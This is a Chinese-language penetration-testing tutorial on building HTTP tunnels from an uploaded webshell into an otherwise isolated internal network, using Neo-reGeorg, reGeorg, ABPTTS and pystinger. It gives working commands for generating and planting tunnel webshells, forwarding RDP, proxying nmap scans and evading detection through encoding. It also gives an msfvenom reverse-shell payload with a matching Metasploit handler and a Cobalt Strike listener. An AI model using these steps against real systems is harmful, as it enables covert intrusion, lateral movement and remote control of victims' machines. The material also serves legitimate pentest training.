内网渗透之http隧道
前言
最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭建http隧道。
http隧道
简介
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。
适用环境
获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。
Neo-reGeorg
简介
可以称为reGeorg的升级版,且传输内容经过了base64编码,避免特征检查,有效绕过检测。
下载
https://github.com/L-codes/Neo-reGeorg
使用
1.设置密码,生成tunnel的webshell,并上传到目标服务器。
python neoreg.py generate -k cseroad
![](https://img.haomeiwen.com/i1734768/cdeb6570bd1dff6c.png)
- 使用neoreg.py连接webshell,并在本地建立socks代理
注意:这里使用tunnel.nosocket.php,无socket的脚本
python neoreg.py -k cseroad -u http://xx/tunnel.nosocket.php
![](https://img.haomeiwen.com/i1734768/ec43cd5d892476d9.png)
windows上可以使用SocksCap64 或者proxifier工具配置代理。
以windows上的SocksCap64 为例,添加代理。
![](https://img.haomeiwen.com/i1734768/bf84fc8c44046e61.png)
测试连接成功。
![](https://img.haomeiwen.com/i1734768/5af1696bc680b241.png)
注意有个测试代理地址。
![](https://img.haomeiwen.com/i1734768/0297afa38382f215.png)
点击可测试。
![](https://img.haomeiwen.com/i1734768/6d90ce1eae22214b.png)
linux上可以使用proxychains代理
编辑
vim /etc/proxychains.conf
添加代理IP以及端口即可。
![](https://img.haomeiwen.com/i1734768/3d8756afecada694.png)
kali本地工具就可以通过proxychains命令全部代理进内网。
注意代理不支持icmp协议。proxychains nmap -Pn -sT -sV -v -T4 IP
reGeorg
简介
reGeorg 是 reDuh 的升级版。主要把内网服务器的端口通过http或https隧道转发到本机。
下载
https://github.com/sensepost/reGeorg
使用
1.上传tunnel.nosocket.php到目标服务器。
![](https://img.haomeiwen.com/i1734768/75f5c8ee3e8c27b7.png)
2.连接tunnel.nosocket.php,配置代理。
python reGeorgSocksProxy.py -u http://xxx/tunnel/tunnel.nosocket.php -p 9999
在SocksCap64 添加代理。
![](https://img.haomeiwen.com/i1734768/deef8ed46010c260.png)
测试连接成功。
![](https://img.haomeiwen.com/i1734768/b54f80d005317ef1.png)
abptts
简介
abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。
下载
https://github.com/nccgroup/ABPTTS
使用
1.安装python依赖库
pip install pycrypto
pip install httplib2
2.本地运行,生成webshell
注意:该工具不支持php
python abpttsfactory.py -o webshell
![](https://img.haomeiwen.com/i1734768/2cac994e4c3387b0.png)
![](https://img.haomeiwen.com/i1734768/b638968bdaa5a5d0.png)
将生成的代理脚本选择性上传到目标服务器。
返回hash值,说明代理正常执行。
![](https://img.haomeiwen.com/i1734768/dfb3bd3f34da4d24.png)
建立隧道,将目标服务器的3389和本地的3389进行绑定。
python abpttsclient.py -c webshell/config.txt -u "http://xxxxx/abptts.aspx" -f 127.0.0.1:33389/127.0.0.1:3389
![](https://img.haomeiwen.com/i1734768/8b140fd7c2c37a20.png)
远程连接本地的33389端口
![](https://img.haomeiwen.com/i1734768/702c47f19a65ec18.png)
另外:
冰蝎本身也有socks代理。
Tunna 也可以在内网代理中转发端口。
pystinger
简介
pystinger是通过webshell来实现内网的SOCK4代理。
使用python开发,当前支持php,jsp(x),aspx三种代理脚本。可直接用于metasploit,cobalt strike上线。
下载
https://github.com/FunnyWolf/pystinger
使用
1.上传proxy.jsp到目标服务器,确保可以正常访问。
![](https://img.haomeiwen.com/i1734768/c1683c431768ead3.png)
2.上传stinger_server.exe 到目标服务器,并start命令运行该程序
start stinger_server.exe
vps 运行client端
./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000
![](https://img.haomeiwen.com/i1734768/88f52a1bac005e41.png)
将会在vps的6000端口启用socks4a代理
在SocksCap64 添加代理,测试一下。
![](https://img.haomeiwen.com/i1734768/49bf39239b2b3742.png)
上线cobaltstrike
配置60020端口的listener。
![](https://img.haomeiwen.com/i1734768/4d276975e46bdc7a.png)
选择payload 生成artifact.exe,触发后即可上线。
![](https://img.haomeiwen.com/i1734768/8674ebf0f5cda33d.png)
![](https://img.haomeiwen.com/i1734768/fee6219c4c11f9ae.png)
vps可看到socks连接。
![](https://img.haomeiwen.com/i1734768/d00f00773210919b.png)
上线metasploit
msfvenom生成60020端口的payload.exe
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=60020 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
metasploit 配置对应的监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 60020
set exitonsession false
exploit -j -z
将payload.exe在目标机上触发后,即可上线。
![](https://img.haomeiwen.com/i1734768/3584e4153c3165f6.png)
参考资料
https://micro8.github.io/Micro8-HTML/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/